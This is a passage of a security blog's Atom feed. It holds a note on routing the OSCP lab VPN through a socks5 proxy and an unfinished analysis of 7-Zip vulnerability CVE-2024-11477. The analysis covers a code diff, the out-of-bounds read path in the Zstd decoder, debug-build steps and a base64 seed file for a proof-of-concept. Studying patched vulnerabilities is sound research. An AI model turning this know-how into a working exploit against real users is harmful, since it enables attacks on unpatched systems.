-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathfeed.xml
3637 lines (3053 loc) · 378 KB
/
feed.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.2.2">Jekyll</generator><link href="https://pwntips.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://pwntips.github.io/" rel="alternate" type="text/html" /><updated>2024-12-31T14:21:15+08:00</updated><id>https://pwntips.github.io/feed.xml</id><title type="html">PwnTips</title><subtitle>Tips & Tricks</subtitle><entry><title type="html">在国内连接 OSCP 的 Universal VPN</title><link href="https://pwntips.github.io/2024/12/30/universal-vpn-in-china.html" rel="alternate" type="text/html" title="在国内连接 OSCP 的 Universal VPN" /><published>2024-12-30T00:00:00+08:00</published><updated>2024-12-30T00:00:00+08:00</updated><id>https://pwntips.github.io/2024/12/30/universal-vpn-in-china</id><content type="html" xml:base="https://pwntips.github.io/2024/12/30/universal-vpn-in-china.html"><![CDATA[<p>TLDR 版：openvpn 支持 socks5 代理，改一下配置，使用 socks5 代理连接 VPN 服务器。</p>
<p>最近购买了 offsec 的 PEN 200/OSCP 课程，发现在国内连它的 Universal VPN 很不稳定，不用多说又是 GFW 的原因。</p>
<p>最开始我是买了个国外的 VPS 上面装了 KALI，然后配合 SSH 端口转发使用，但是买的廉价 VPS 硬盘还有内存都比较小，还是各种不方便，就还是想解决一下，试了官方说的改网卡的 MTU，没什么效果，觉得还是要从墙的方向解决问题，就搜了一下，发现 OpenVPN 是支持 socks5 代理的，改一下配置文件就好。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>socks-proxy 127.0.0.1 10808
</code></pre></div></div>
<p>或者在 Windows 版的 GUI OpenVPN 客户端上也是可以设置代理的。</p>
<p><img src="/assets/images/Pasted%20image%2020241230180724.png" alt="" /></p>
<p>设置了代理以后，连接速度稳定了很多，以前用 RDP 完全不能用，现在已经可以正常使用了，但是稍有延迟。</p>
<p>但是还有个问题，每次进行第一次连接时很不稳定，要重连多次才能得到一个可用的连接。现象就是虽然 OpenVPN 连接成功但是，并不能 ping 通目标机器，Window 客户端的话托盘图标有时候会变成黄色，有时会有下面的提示信息：</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Mon Dec 30 16:36:09 2024 WARNING: Received unknown control message: * OFFSEC LABS NOTICE: Mon Dec 30 16:36:09 2024 WARNING: Received unknown control message: * Managing Universal VPN, please wait... Mon Dec 30 16:36:09 2024 Connection reset command was pushed by server ('')
</code></pre></div></div>
<p>目前搜到一个可能的<a href="https://www.hardwork.cn/html/archives/381.html">解决方案</a>， 说是 persist-tun 配置造成的，目前不确认是否这个问题，还在观望中。</p>
<p>因为这个问题，我现在都是连上 Universal VPN， 然后开一台机器测试一下能不能实际 PING 通，不能的话，就要重连几次，直到能 PING 通为止。但是只要连接成功以后，就可以稳定使用了。</p>]]></content><author><name></name></author><summary type="html"><![CDATA[TLDR 版：openvpn 支持 socks5 代理，改一下配置，使用 socks5 代理连接 VPN 服务器。]]></summary></entry><entry><title type="html">分析 7zip 漏洞 CVE-2024-11147(WIP)</title><link href="https://pwntips.github.io/2024/12/10/7zip-CVE-2024-11477.html" rel="alternate" type="text/html" title="分析 7zip 漏洞 CVE-2024-11147(WIP)" /><published>2024-12-10T00:00:00+08:00</published><updated>2024-12-10T00:00:00+08:00</updated><id>https://pwntips.github.io/2024/12/10/7zip-CVE-2024-11477</id><content type="html" xml:base="https://pwntips.github.io/2024/12/10/7zip-CVE-2024-11477.html"><![CDATA[<p>分析一下 7zip 漏洞 CVE-2024-11477/ZDI-24-1532，查看 <a href="https://www.zerodayinitiative.com/advisories/ZDI-24-1532/">ZDI 公告</a> 提取到关键点：</p>
<ul>
<li>24.07 修复，之前的版本有问题：那么我们 DIFF 24.07 和 24.06 的代码</li>
<li>漏洞出现在 <a href="https://en.wikipedia.org/wiki/Zstd">Zstandard</a> 解压的代码中</li>
</ul>
<p>DIFF</p>
<p><a href="https://sourceforge.net/projects/sevenzip/files/7-Zip/24.06/7z2406-src.7z/download">2406</a>
<a href="https://sourceforge.net/projects/sevenzip/files/7-Zip/24.07/7z2407-src.7z/download">2407</a></p>
<p>用 beyond compare 对比以后找到 C\ZstdDec.c 这个文件有如下修改:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">>></span><span class="w"> </span><span class="n">git</span><span class="w"> </span><span class="nx">diff</span><span class="w"> </span><span class="nx">D:\Downloads\7z-compare\2406\C\ZstdDec.c</span><span class="w"> </span><span class="nx">D:\Downloads\7z-compare\2407\C\ZstdDec.c</span><span class="w">
</span><span class="n">diff</span><span class="w"> </span><span class="nt">--git</span><span class="w"> </span><span class="s2">"a/D:\\Downloads\\7z-compare\\2406\\C\\ZstdDec.c"</span><span class="w"> </span><span class="s2">"b/D:\\Downloads\\7z-compare\\2407\\C\\ZstdDec.c"</span><span class="w">
</span><span class="n">index</span><span class="w"> </span><span class="nx">fd0dbda..ef9eca3</span><span class="w"> </span><span class="nx">100644</span><span class="w">
</span><span class="o">---</span><span class="w"> </span><span class="s2">"a/D:\\Downloads\\7z-compare\\2406\\C\\ZstdDec.c"</span><span class="w">
</span><span class="o">+++</span><span class="w"> </span><span class="s2">"b/D:\\Downloads\\7z-compare\\2407\\C\\ZstdDec.c"</span><span class="w">
</span><span class="err">@@</span><span class="w"> </span><span class="nt">-1</span><span class="p">,</span><span class="mi">5</span><span class="w"> </span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="mi">5</span><span class="w"> </span><span class="err">@@</span><span class="w">
</span><span class="n">/</span><span class="o">*</span><span class="w"> </span><span class="nx">ZstdDec.c</span><span class="w"> </span><span class="o">--</span><span class="w"> </span><span class="nx">Zstd</span><span class="w"> </span><span class="nx">Decoder</span><span class="w">
</span><span class="nt">-2024-05-26</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="nx">code</span><span class="w"> </span><span class="nx">was</span><span class="w"> </span><span class="nx">developed</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">Igor</span><span class="w"> </span><span class="nx">Pavlov</span><span class="p">,</span><span class="w"> </span><span class="nx">using</span><span class="w"> </span><span class="nx">Zstandard</span><span class="w"> </span><span class="nx">format</span><span class="w">
</span><span class="o">+</span><span class="mi">2024</span><span class="nt">-06-18</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="nx">code</span><span class="w"> </span><span class="nx">was</span><span class="w"> </span><span class="nx">developed</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">Igor</span><span class="w"> </span><span class="nx">Pavlov</span><span class="p">,</span><span class="w"> </span><span class="nx">using</span><span class="w"> </span><span class="nx">Zstandard</span><span class="w"> </span><span class="nx">format</span><span class="w">
</span><span class="n">specification</span><span class="w"> </span><span class="nx">and</span><span class="w"> </span><span class="nx">original</span><span class="w"> </span><span class="nx">zstd</span><span class="w"> </span><span class="nx">decoder</span><span class="w"> </span><span class="nx">code</span><span class="w"> </span><span class="nx">as</span><span class="w"> </span><span class="nx">reference</span><span class="w"> </span><span class="nx">code.</span><span class="w">
</span><span class="n">original</span><span class="w"> </span><span class="nx">zstd</span><span class="w"> </span><span class="nx">decoder</span><span class="w"> </span><span class="nx">code:</span><span class="w"> </span><span class="nx">Copyright</span><span class="w"> </span><span class="p">(</span><span class="n">c</span><span class="p">)</span><span class="w"> </span><span class="n">Facebook</span><span class="p">,</span><span class="w"> </span><span class="nx">Inc.</span><span class="w"> </span><span class="nx">All</span><span class="w"> </span><span class="nx">rights</span><span class="w"> </span><span class="nx">reserved.</span><span class="w">
</span><span class="n">This</span><span class="w"> </span><span class="nx">source</span><span class="w"> </span><span class="nx">code</span><span class="w"> </span><span class="nx">is</span><span class="w"> </span><span class="nx">licensed</span><span class="w"> </span><span class="nx">under</span><span class="w"> </span><span class="nx">BSD</span><span class="w"> </span><span class="nx">3-Clause</span><span class="w"> </span><span class="nx">License.</span><span class="w">
</span><span class="err">@@</span><span class="w"> </span><span class="nt">-1308</span><span class="p">,</span><span class="mi">8</span><span class="w"> </span><span class="o">+</span><span class="mi">1308</span><span class="p">,</span><span class="mi">10</span><span class="w"> </span><span class="err">@@</span><span class="w"> </span><span class="n">FSE_Decode_SeqTable</span><span class="p">(</span><span class="n">CFseRecord</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">const</span><span class="w"> </span><span class="nx">table</span><span class="p">,</span><span class="w">
</span><span class="n">in-</span><span class="err">></span><span class="nx">len--</span><span class="p">;</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="n">const</span><span class="w"> </span><span class="nx">Byte</span><span class="w"> </span><span class="o">*</span><span class="nx">ptr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">in-</span><span class="err">></span><span class="nx">ptr</span><span class="p">;</span><span class="w">
</span><span class="o">-</span><span class="w"> </span><span class="n">const</span><span class="w"> </span><span class="nx">Byte</span><span class="w"> </span><span class="nx">sym</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ptr</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="n">const</span><span class="w"> </span><span class="nx">unsigned</span><span class="w"> </span><span class="nx">sym</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ptr</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span><span class="w">
</span><span class="n">in-</span><span class="err">></span><span class="nx">ptr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">1</span><span class="p">;</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="n">sym</span><span class="w"> </span><span class="err">></span><span class="o">=</span><span class="w"> </span><span class="n">numSymbolsMax</span><span class="p">)</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="kr">return</span><span class="w"> </span><span class="n">SZ_ERROR_DATA</span><span class="p">;</span><span class="w">
</span><span class="n">table</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">FastInt32</span><span class="p">)</span><span class="n">sym</span><span class="w">
</span><span class="c">#if defined(Z7_ZSTD_DEC_USE_ML_PLUS3)</span><span class="w">
</span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">numSymbolsMax</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">NUM_ML_SYMBOLS</span><span class="w"> </span><span class="nf">?</span><span class="w"> </span><span class="nx">MATCH_LEN_MIN</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">0</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>
<p>根据这个修改我们可以大胆推测，这里是从字节流中读出 1 字节的某个结构的数量，之前没有验证这个数量是否超出了正常的范围，所以产生了漏洞。
接下来我们要验证这个的猜测，并且构造一个 POC 出来。</p>
<p>先要了解一下 .zst 文件格式的信息，可以搜到一个 facebook 官方的<a href="https://github.com/facebook/zstd/blob/dev/doc/zstd_compression_format.md">文档</a> ，阅读后得知：</p>
<ul>
<li>.zst 文件是由多个 frame 组成的, frame 以魔法数 0xFD2FB528 开头</li>
<li>每个 frame 可以包含 1-n 个 data_block，data_block 有多种类型，储存压缩数据的是 Compressed_Block</li>
<li>Compressed_Block 包含 Literals Section 和 Sequence Section 两部分</li>
</ul>
<p>再来结合代码，被修改的函数是 <code class="language-plaintext highlighter-rouge">FSE_Decode_SeqTable</code>, 仅在 <code class="language-plaintext highlighter-rouge">ZstdDec1_DecodeBlock</code> 函数中有 3 处引用，且这三处引用相邻，应该是解码 data_block 的一个步骤。结合文档分析代码，发现函数 <code class="language-plaintext highlighter-rouge">ZstdDec1_DecodeBlock</code> 实际上在处理 Compressed_Block，函数 <code class="language-plaintext highlighter-rouge">FSE_Decode_SeqTable</code> 在处理 Sequences Section, 被修改的代码行，是在解码 Compressed_mode 为 RLE_Mode 的 sequence 数据，读到 <code class="language-plaintext highlighter-rouge">sym</code> 变量的值是 Literals_Length_Table/Offset_Table/Match_Length_Table 的内容，是攻击者可控的，<code class="language-plaintext highlighter-rouge">table[0] = sym</code> 是将其保存到了一个 <code class="language-plaintext highlighter-rouge">CZstdDecFseTables</code> 结构体，以供后续使用。接下来分析这个值在哪里使用，目前高度怀疑是后面紧接着会调用的 <code class="language-plaintext highlighter-rouge">Decompress_Sequences</code> 函数中，但是此函数用了大量的宏，直接分析起来很不方便，先用 VC 编译器的功能得到一份预处理之后的代码</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">></span><span class="w"> </span><span class="c"># Visual Studio Developer Powershell 中运行，否则可能报错没找到 cl</span><span class="w">
</span><span class="err">></span><span class="w"> </span><span class="n">cl</span><span class="w"> </span><span class="nx">/P</span><span class="w"> </span><span class="nx">c\ZstdDec.c</span><span class="w">
</span><span class="err">></span><span class="w"> </span><span class="c"># 可选步骤，只是格式化代码，如果装 VS 时候没有选装 llvm 可能会缺少 clang-format</span><span class="w">
</span><span class="err">></span><span class="w"> </span><span class="n">clang-format</span><span class="w"> </span><span class="nx">ZstdDec.i</span><span class="w"> </span><span class="err">></span><span class="w"> </span><span class="nx">ZstdDec.i.c</span><span class="w">
</span></code></pre></div></div>
<p>阅读以后就可以证实，存入 <code class="language-plaintext highlighter-rouge">CZstdDecFseTables</code> 的值，就是在 <code class="language-plaintext highlighter-rouge">Decompress_Sequences</code> 中使用的，Decompress_Sequences 是 tANS/FSE 解码算法的实现，这个算法是 zstd 压缩率能高与其他仅基于 huffman 编码的压缩软件的核心因素，我认为还比较复杂，不过对于我们漏洞分析的目标来说，也不需要了解很多，参考 <a href="https://medium.com/@bredelet/understanding-ans-coding-through-examples-d1bebfc7e076">understanding-ans-coding-through-examples-d1bebfc7e076</a> 可以得到解码的操作重点如下：</p>
<ul>
<li>解码需要三个输入参数：状态 x、速查表 table、字节流 bitStream</li>
<li>速查表存储了每个状态对应的：符号 S, 以及状态转移需要的参数 y、k（使用方式例如 table[x].S、table[x].y、table[x].k，但是实际算法是有优化的，S、y、k 三个值被存入了同一个 DWORD 中，用位操作代替了这些成员变量访问)</li>
<li>解码涉及到多轮迭代，每轮都会：
<ul>
<li>根据当前状态从速查表查出解码的符号 S（解压后得到的原始值）</li>
<li>将 x 转移到新状态：状态转移需要 x、y、k、bitStream 参与运算</li>
</ul>
</li>
<li>回顾一下 Sequence Section 的结构：
<ul>
<li>
<table>
<tbody>
<tr>
<td><code class="language-plaintext highlighter-rouge">Sequences_Section_Header</code></td>
<td>[<code class="language-plaintext highlighter-rouge">Literals_Length_Table</code>]</td>
<td>[<code class="language-plaintext highlighter-rouge">Offset_Table</code>]</td>
<td>[<code class="language-plaintext highlighter-rouge">Match_Length_Table</code>]</td>
<td>bitStream</td>
</tr>
</tbody>
</table>
</li>
<li>Xxxxx_Table 存储的就是速查表，因为存储了 Literals_Length、Offset、Match_Length 三种数据，所以是三个速查表</li>
<li>bitStream，其实是 Literals_Length、Offset、Match_Length 三个数据流交叉存放在一起形成的一个数据流</li>
</ul>
</li>
<li>另外解码时 bitStream 是从最后一个字节开始，反向使用的。因为编码时是将状态信息正向写入的 bitStream，解码的时候要从最后一个状态开始(编码器眼里的最后一个），反向恢复，恢复出的原数据也是反向的</li>
<li>至于为什么这样解码可以解压数据，x、tab、bitStream、y、k 又都是怎么来的，感兴趣的话大家可以深入去学习 tANS 算法，这里就不展开了，只需要知道这个算法的解码就是在做这些操作即可</li>
</ul>
<hr />
<p>ℹ️ 如果想深入了解 tANS/FSE，如下资料可以参考：</p>
<ul>
<li>https://www.cnblogs.com/zblade/p/14338758.html</li>
<li>https://bjlkeng.io/posts/lossless-compression-with-asymmetric-numeral-systems/</li>
<li>https://kedartatwawadi.github.io/post–ANS/</li>
<li>https://fastcompression.blogspot.com/2013/12/finite-state-entropy-new-breed-of.html</li>
<li>http://cbloomrants.blogspot.fr/2014/02/02-18-14-understanding-ans-conclusion.html</li>
</ul>
<hr />
<p>了解了这些，就可以知道，攻击者可控的数据 <code class="language-plaintext highlighter-rouge">sym</code>，就是速查表里存储的内容，解码的时候确实会用到它，不过这里要注意速查表里的元素是 32 比特的，而我们只能控制这 32 位的低 8 位，再结合代码来看，<code class="language-plaintext highlighter-rouge">Decompress_Sequences</code> 函数中的临时变量 <code class="language-plaintext highlighter-rouge">state_ll</code>、<code class="language-plaintext highlighter-rouge">state_of</code>、<code class="language-plaintext highlighter-rouge">state_ml</code> 是从速查表中查到的值，它们的最低字节又会传递到 <code class="language-plaintext highlighter-rouge">of_code</code>、<code class="language-plaintext highlighter-rouge">matchLen</code>、<code class="language-plaintext highlighter-rouge">litLen</code>。（也就是说速查表存储的 32 比特元素，低 8 位存放的是符号 S）而 <code class="language-plaintext highlighter-rouge">of_code</code>、<code class="language-plaintext highlighter-rouge">matchLen</code>、<code class="language-plaintext highlighter-rouge">litLen</code>，又在几处内存访问的地方被当作索引/长度来使用，如果在这些内存访问的地方，也没有检查索引/长度的合理性的话，就会产生内存访问越界了。例如:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>//from ZstdDec.i.c
//...
static const UInt32 k_SEQ_LL_BASES[36] = {
0, 1, 2, 3, 4, 5, 6, 7, 8,
9, 10, 11, 12, 13, 14, 15, 16, 18,
20, 22, 24, 28, 32, 40, 48, 64, 0x80,
0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000, 0x4000, 0x8000, 0x10000};
#line 286 ".\\ZstdDec.c"
static const Byte k_SEQ_LL_EXTRA[36] = {
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1,
1, 1, 2, 2, 3, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16};
//....
const unsigned extra = k_SEQ_LL_EXTRA[litLen];
litLen = k_SEQ_LL_BASES[litLen];
</code></pre></div></div>
<hr />
<p>ℹ️ 也可以通过阅读原代码，在宏定义中发现速查表中存储的信息的格式：</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define FSE_REC_LEN_OFFSET 8
#define FSE_REC_STATE_OFFSET 16
#define GET_FSE_REC_SYM(st) ((Byte)(st))
#define GET_FSE_REC_LEN(st) ((Byte)((st) >> FSE_REC_LEN_OFFSET))
#define GET_FSE_REC_STATE(st) ((st) >> FSE_REC_STATE_OFFSET)
</span></code></pre></div></div>
<hr />
<p>使用 <code class="language-plaintext highlighter-rouge">litLen</code> 作为下标访问了两个数组，两个数组的长度都小于 <code class="language-plaintext highlighter-rouge">litLen</code> 可能的最大取值，很可能可以构造出能触发越界读的样本。</p>
<p>下面我们就结合调试器，构造出对应的样本，触发越界访问。先从源码构建出可执行文件，整个项目包含多个可执行文件，我选择了 7zcl.exe、7z.dll 作为调试目标，用 nmake 来构建，构建 Debug 版本以方便调试，方案是参考 <a href="https://stackoverflow.com/questions/56436451/nmake-how-do-i-force-a-debug-build-7zip">stackoverflow nmake-how-do-i-force-a-debug-build-7zip</a> 。</p>
<ul>
<li>修改 CPP/7zip/UI/Client7z/Client7z.cpp:64 的代码 <code class="language-plaintext highlighter-rouge">DEFINE_GUID_ARC (CLSID_Format, 0xe)</code>
<ul>
<li>0xe 是 zstd 文档对应的 arc ID</li>
<li>可以在 CPP/7zip/Archive/ZstdHandler.cpp 的 <code class="language-plaintext highlighter-rouge">REGISTER_ARC_IO</code> 宏调用中找到</li>
</ul>
</li>
<li>修改 CPP/Build.mak 的 CFLAGS 和 LFLAGS，以构建调试版的可执行文件以及对应的 .pdb 文件：
<ul>
<li>CFLAGS 中的 -O1 -O2 都改成 -Od 禁用优化</li>
<li>CFLAGS 加入 /Zi 以生成调试符号</li>
<li>CFLAGS 去掉 -W4 和 -Wall，以解决编译过程中由于警告造成的编译失败</li>
<li>LFLSGS 加入 /DEBUG</li>
</ul>
</li>
<li>在 VS Developer Powershell 执行构建操作
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="w"> </span><span class="err">></span><span class="w"> </span><span class="n">pushd</span><span class="w">
</span><span class="err">></span><span class="w"> </span><span class="c"># 构建client7z.exe</span><span class="w">
</span><span class="err">></span><span class="w"> </span><span class="n">cd</span><span class="w"> </span><span class="nx">CPP\7zip\UI\Client7z</span><span class="w">
</span><span class="err">></span><span class="w"> </span><span class="n">nmake</span><span class="w">
</span><span class="err">></span><span class="w"> </span><span class="nx">popd</span><span class="w">
</span><span class="err">></span><span class="w"> </span><span class="c"># 构建 7z.dll</span><span class="w">
</span><span class="err">></span><span class="w"> </span><span class="n">cd</span><span class="w"> </span><span class="nx">CPP\7zip\Bundles\Format7zF</span><span class="w">
</span><span class="err">></span><span class="w"> </span><span class="n">nmake</span><span class="w">
</span><span class="err">></span><span class="w"> </span><span class="c"># 拷贝 7z.dll 7z.pdb 到 client7z.exe 同目录</span><span class="w">
</span><span class="err">></span><span class="w"> </span><span class="n">copy</span><span class="w"> </span><span class="o">.</span><span class="nx">\o\7z.dll</span><span class="w"> </span><span class="o">..</span><span class="nx">\..\UI\Client7z\o\</span><span class="w">
</span><span class="err">></span><span class="w"> </span><span class="n">copy</span><span class="w"> </span><span class="o">.</span><span class="nx">\o\7z.pdb</span><span class="w"> </span><span class="o">..</span><span class="nx">\..\UI\Client7z\o\</span><span class="w">
</span></code></pre></div> </div>
</li>
</ul>
<p>有了 Client7z.exe 和 7z.dll 就可以调试了，对于有源码的场景，我喜欢用 VS 来调试:</p>
<ul>
<li>用 VS 的 Open Folder 功能将 7zip 的源码目录作为项目打开</li>
<li>在 VS 的解决方案浏览器，找到 Client7z.exe （在 CPP/7zip/UI/Client7z/o/Client7z.exe)</li>
<li>右键菜单 -> Set As Startup Item</li>
<li>右键菜单 -> Add Debug Configuration -> Default</li>
<li>在自动打开的 lauch.vs.json 中加入命令行配置 <code class="language-plaintext highlighter-rouge">args</code>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0.2.1"</span><span class="p">,</span><span class="w">
</span><span class="nl">"defaults"</span><span class="p">:</span><span class="w"> </span><span class="p">{},</span><span class="w">
</span><span class="nl">"configurations"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"default"</span><span class="p">,</span><span class="w">
</span><span class="nl">"project"</span><span class="p">:</span><span class="w"> </span><span class="s2">"CPP</span><span class="se">\\</span><span class="s2">7zip</span><span class="se">\\</span><span class="s2">UI</span><span class="se">\\</span><span class="s2">Client7z</span><span class="se">\\</span><span class="s2">o</span><span class="se">\\</span><span class="s2">7zcl.exe"</span><span class="p">,</span><span class="w">
</span><span class="nl">"projectTarget"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
</span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"7zcl.exe"</span><span class="p">,</span><span class="w">
</span><span class="nl">"args"</span><span class="p">:[</span><span class="s2">"7zcl.exe"</span><span class="p">,</span><span class="w"> </span><span class="s2">"x"</span><span class="p">,</span><span class="w"> </span><span class="s2">"poc.zst"</span><span class="p">],</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div> </div>
</li>
</ul>
<p>这样配置好以后，在 VS 中点击开始调试，VS 就会用指定的命令行为我们启动一个 7zcl.exe 并开始调试了。参数中指定了用 7zcl.exe 来解压一个 poc.zst 文件，我们还需要构造出这个 poc 文件。我的构造方式是找到一个小的 .zst 文件，在它的基础上进行修改。所以我安装了压缩程序 zstd 压缩了一个随便找的小文件，得到下面这个 poc.zst 文档(base64 编码的数据)。</p>
<pre><code class="language-base64">KLUv/WSBAJ0HAFJNLiUgjegBs3wDbJDe4r8UR0hA5BmkXH0Jy6Cv+C63gaF/CdCKP4IGzBhJZOKUqtIw7n20LSBY3uBwWZSIl6jJcpCpKCCYttankcF0jCQycelqTFPTw5UYKgg9+Quz+k+L7D+0xU4we2fpP+lo+E9CaGFW3b/pbGySfuPgbfN4At3MIB0AoGin69MidMwSqMkZFESlIF1t4b5wb6c/QtDCf8wG2ulGNJ+E4CNaZ786OsHs3skrTTv9TBoFFQBCO8DJOEBhX52cCLeAtQPAymDVhpcMuG58YyM4JrMaHiov0xxbDWxBoGAlONs9w+AyrI8oe8zKBHY=
</code></pre>
<hr />
